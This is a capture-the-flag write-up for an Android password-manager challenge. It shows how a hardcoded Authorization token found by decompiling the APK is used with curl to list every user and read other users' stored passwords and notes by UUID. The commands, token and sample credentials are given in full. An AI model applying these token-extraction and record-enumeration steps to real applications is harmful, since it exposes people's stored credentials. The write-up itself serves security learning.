Rating:
# Centaurus
#apk-reversing #postman #http-requests
```
This is Stage 3 of Path 5 in The Mission. After solving this challenge, you may need to refresh the page to see the newly unlocked challenges.
Constellation employees use this app to secure their passwords. Is it really secure?
Download the file below.
```
Start off by downloading the `centaurus1.apk` file. This is an android app, so that is where we are going!
## Emulating the App
I first load up the APK in Android Studio and run it on an emulator. I am able to register a new user, store a note and store a password, and while doing so _I notice in the terminal that the app is contacting an external API_ at `http://challenge.nahamcon.com:31234/api/`
Trying to log in with pavo's credentials:
```
I/okhttp.OkHttpClient: --> POST http://challenge.nahamcon.com:31234/api/auth
Content-Type: application/json; charset=UTF-8
Content-Length: 46
{"password":"starsinthesky","username":"pavo"}
--> END POST (46-byte body)
I/okhttp.OkHttpClient: <-- 403 FORBIDDEN http://challenge.nahamcon.com:31234/api/auth (1029ms)
Content-Type: application/json
Content-Length: 43
{"message":"Invalid username or password"}
<-- END HTTP (43-byte body)
```
Trying to register a new user #1:
```
I/okhttp.OkHttpClient: --> POST http://challenge.nahamcon.com:31234/api/users
I/okhttp.OkHttpClient: Content-Type: application/json; charset=UTF-8
Content-Length: 41
{"password":"testtest","username":"test"}
--> END POST (41-byte body)
I/okhttp.OkHttpClient: <-- 400 BAD REQUEST http://challenge.nahamcon.com:31234/api/users (849ms)
Content-Type: application/json
Content-Length: 97
{"message":"IntegrityError('(sqlite3.IntegrityError) UNIQUE constraint failed: user.username')"}
<-- END HTTP (97-byte body)
```
Seems like I can cause an error server-side. Could this be vulnerable to SQL injection?
Trying to register a new user again:
```
I/okhttp.OkHttpClient: --> POST http://challenge.nahamcon.com:31234/api/users
Content-Type: application/json; charset=UTF-8
Content-Length: 45
{"password":"testtest","username":"testuser"}
--> END POST (45-byte body)
I/okhttp.OkHttpClient: <-- 200 OK http://challenge.nahamcon.com:31234/api/users (870ms)
Content-Type: application/json
Content-Length: 17
{"success":true}
<-- END HTTP (17-byte body)
```
So it worked this time? Log in then:
```
I/okhttp.OkHttpClient: --> POST http://challenge.nahamcon.com:31234/api/auth
Content-Type: application/json; charset=UTF-8
Content-Length: 45
{"password":"testtest","username":"testuser"}
--> END POST (45-byte body)
I/okhttp.OkHttpClient: <-- 200 OK http://challenge.nahamcon.com:31234/api/auth (846ms)
Content-Type: application/json
Content-Length: 70
{"username":"testuser","uuid":"e9b0175d-d9cb-4ec5-89a8-d8e8269a221b"}
<-- END HTTP (70-byte body)
```
I get an `uuid` back, and when it immediately after starts looking for my user's passwords, I recognize it using the `uuid` to do so:
```
I/okhttp.OkHttpClient: --> GET http://challenge.nahamcon.com:31234/api/users/e9b0175d-d9cb-4ec5-89a8-d8e8269a221b
--> END GET
I/okhttp.OkHttpClient: --> GET http://challenge.nahamcon.com:31234/api/passwords/e9b0175d-d9cb-4ec5-89a8-d8e8269a221b
I/okhttp.OkHttpClient: --> END GET
```
So if I knew some other uuid - would I be able to request _any_ stored note or password? How about trying to `GET` users?
```
$ curl --location --request GET 'http://challenge.nahamcon.com:31234/api/users'
{"message":"Wrong Authorization Header"}
```
Well, it didn't crash - so maybe we should start looking trough the code and see if we can find something to use for authorization there.
## Breaking the code open in JADX
I open up the code in jadx-gui with the `show inconsistent code` flag set - just to be sure.
The code is fairly neat and easy to read, and inside `com.congon4tor.centaurus.api.APIClient` we have the following code:
```java
public APIClient() {
HttpLoggingInterceptor httpLoggingInterceptor = new HttpLoggingInterceptor();
httpLoggingInterceptor.setLevel(HttpLoggingInterceptor.Level.BODY);
Retrofit build = new Retrofit.Builder().baseUrl("http://challenge.nahamcon.com:31234/api/").client(new OkHttpClient.Builder().addInterceptor(httpLoggingInterceptor).addInterceptor(new Interceptor() {
/* class com.congon4tor.centaurus.api.APIClient.AnonymousClass1 */
@Override // okhttp3.Interceptor
public Response intercept(Interceptor.Chain chain) throws IOException {
return chain.proceed(chain.request().newBuilder().addHeader("Authorization", "ZUBoMXQybXw0RlhFU05TNVpBMiZndkRLSmRfZDVYZDM=").build());
}
}).build()).addConverterFactory(GsonConverterFactory.create()).build();
retrofit = build;
this.apiService = (APIService) build.create(APIService.class);
}
```
If we didn't figure it out before, there we have a pretty good clue what is going on - as well as a hardcoded authorization token!
Let us try those GET requests again
```
$ curl --location --request GET 'http://challenge.nahamcon.com:31234/api/users' --header 'Authorization: ZUBoMXQybXw0RlhFU05TNVpBMiZndkRLSmRfZDVYZDM='
```
And we get a really long list of users, some who are "real" and some who are made by other CTF participants. Below are the ones that turned out to be of interest, together with that `uuid`'s output from
```
$ curl --location --request GET 'http://challenge.nahamcon.com:31234/api/passwords/2164421e-3cdc-465f-b1fc-2da0bed89a6c' --header 'Authorization: ZUBoMXQybXw0RlhFU05TNVpBMiZndkRLSmRfZDVYZDM='
$ curl --location --request GET 'http://challenge.nahamcon.com:31234/api/notes/2164421e-3cdc-465f-b1fc-2da0bed89a6c' --header 'Authorization: ZUBoMXQybXw0RlhFU05TNVpBMiZndkRLSmRfZDVYZDM='
```
```json
# api/users
{
"username": "gemini.coley",
"uuid": "2164421e-3cdc-465f-b1fc-2da0bed89a6c"
}
# api/passwords
{
"name": "My Super Password",
"password": "wJ2=aBpu*nKr6ZnL",
"username": "gemini.coley"
}
# api/notes
{
"content": "flag{4a8f943a965086945794066f7ce97f23}",
"name": "flag"
}
```
```json
# api/users
{
"username": "pavo.welly",
"uuid": "b4bc4415-bb08-49aa-9b87-c3f232253c4d"
}
# api/passwords
{
"name": "Work Password",
"password": "LQ8cHu*_dfAM?sxD",
"username": "pavo.welly"
}
```
... not so useful (but entertaining) notes:
```json
# api/users
{
"username": "congon4tor",
"uuid": "f5e80b35-8e12-43a5-88a5-7bc8585ab234"
}
# api/notes
{
"content": "https://youtube.com/watchv=dPWkNS5AMVM",
"name": "Cool stuff"
}
```
With this done, it was on to the NASCAR challenge!